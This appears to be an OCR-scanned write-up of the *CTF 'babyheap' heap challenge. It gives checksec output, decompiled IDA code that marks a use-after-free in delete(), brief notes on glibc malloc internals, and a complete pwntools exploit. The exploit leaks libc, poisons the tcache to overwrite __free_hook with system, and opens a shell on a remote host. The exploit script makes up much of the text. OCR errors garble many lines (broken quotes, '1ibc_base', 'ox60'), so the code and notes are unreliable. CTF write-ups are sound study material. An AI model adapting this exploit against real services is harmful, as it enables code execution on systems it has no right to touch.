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Lrcno6@FPGA-PWN-Kali:~/pwn/star-ctf/babyheap$ checksec pwn
[*] '/home/lrcno6/pwn/star-ctf/babyheap/pwn’

Arch: amd64-64-1ittle

RELRO: Full RELRO

Stack: Canary found

NX : NX enabled

PIE: PIE enabled
Lrcno6@FPGA-PWN-Kali:~/pwn/star-ctf/babyheap$
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1lint _ cdecl main(int argc, const char **argv, const char **envp)
2l
3| _ inte4 savedregs; // [rsp+l@h] [rbp+eh]
4

@ 5| inittial();

® 5| puts("welcome");

@ 7| while ( 1)
8

® 9 menu();

e 18 readInt();

® 11 switch { (unsigned int)&savedregs )
12 {
13 case lu:

e 14 add();

® 15 break;
16 case 2u:

® 17 delete();

® 18 break;
19 case 3u:

® 28 edit();

® 21 break;
22 case 4u:

® 23 show();

® 24 break;
25 case 5u:

® 26 leaveYouName( ) ;

e 27 break;
28 case 6u:

® 29 showYourName() ;

® 38 break;
31 default:

e 32 exit(@);

® 33 return;
34 }
35| 3

® 36}
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wvoid _ fastcall add()
{
int v@; /f [rsp+8h] [rbp-8h]
int v1; // [rsp+Ch] [rbp-4h]

1

2

3

4

5
® 5| puts("input index");

7

8

9

18

® ve = readInt();
o if (v <@ || ve > 15 )
e puts(“bye!");
® 11 exit(@);
12
® 13| puts("input size™);
@ 14| vl = readInt();
® 15| if ( vl <= 8xF || vl > @x68 )
16
® 17 puts(“bye!");
® 18 exit(@);
19
@ 28| pools[ve] = (char *)malloc(vl);
@ 21| sizes[ve] = vi;
® 22} |
2. deletefs UAF
IDA View-A 8 pafeE
1jvoid delete()
2l
3| dint v@; // [rsp+Ch] [rbp-2h]
4
® 5| puts("input index");
@ 5] ve = readInt();
& 7| if {wve <@ || ve » 15 || !pools[vE] )
8
® 9 puts("bye!™);
® 10 exit(@);
11| }
@ 12| free(pools[ve]); I ouaf
® 13}
3. editlhREJE R A2 M +8 ST 4R S A (IX B —JF A iR RNHRR 1)
| IDA View-A x| pofeEs B|c
1lveid _ cdecl edit()
2t
3| int v@; // [rsp+Ch] [rbp-2h]
4
® 5| puts("input index");
@ 6| wve = readInt();
@ 7| if {(wve <@ || ve » 15 || !pools[veE] )
8
® 9 puts("bye!");
e 18 exit(@);
11
® 12| puts("input content™);
@ 13| read(®, pools[ve] + 8, (unsigned int)(sizes[ve] - 8));
® 14}
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e https://ctf-wiki.org/pwn/linux/glibc-heap/implementation/tcache/
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e https://ctf-wiki.org/pwn/linux/glibc-heap/implementation/malloc_state/

e https://www.dazhuanlan.com/2019/10/16/5da624b635caa/
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1. malloc large bin
2. top chunk A% 23 ]
3. freeME P IF1 5 5 95, K/ KFFASTBIN_CONSOLIDATION _THRESHOLD=65536
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vold _ cdecl leaveYouName()

if ( !name )

name = (char *)malloc(@xd@@ulLl);
puts("your name:");
read(@, name, @x188uLL);

}
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from pwn import *

# from LibcTool import *
context(os="linux"',arch="amd64"',log_level='debug')
elf=ELF("'./pwn")

libc=ELF('./libc.so0.6")
sh=remote('52.152.231.198"',8081)

# sh=process('./pwn")

# attach(sh)

# raw_input()

def add(index,size):
sh.sendlineafter('>>",'1")
sh.sendlineafter('input index',str(index))
sh.sendlineafter('input size',str(size))

def delete(index):
sh.sendlineafter('>>",'2")
sh.sendlineafter('input index',str(index))

def edit(index,content):
sh.sendlineafter('>>","'3")
sh.sendlineafter('input index',str(index))
sh.sendafter('input content',content)

def show(index):
sh.sendlineafter('>>",'4")
sh.sendlineafter('input index\n',str(index))
return sh.recvuntil('\nl. add"')[:-7]

def leave_name(name):
sh.sendlineafter('>>",'5")
sh.sendafter('your name:',name)

def show_name():
sh.sendlineafter('>>",'6")

for i in range(15):

add(i,ox60)

add(15,0x60)
for i in range(15):

delete(i)

leave_name('lrcno6")

raw_input ()
main_arena=u64(show(7).1ljust(8,'\0"'))-976
libc_base=main_arena-0x3ebc40
add(14,0x20-8)

add(11,0x20-8)

raw_input()

delete(11)
edit(7,flat('a'*0x10,0x21,1ibc_base+libc.sym[' free_hook']-8))
add(13,0x20-8)

add(12,0x20-8)
edit(12,p64(libc_base+libc.sym[ 'system']))
edit(7,flat('a'*0x10,0x21,"'/bin/sh"))
delete(11)

sh.interactive()
sh.close()
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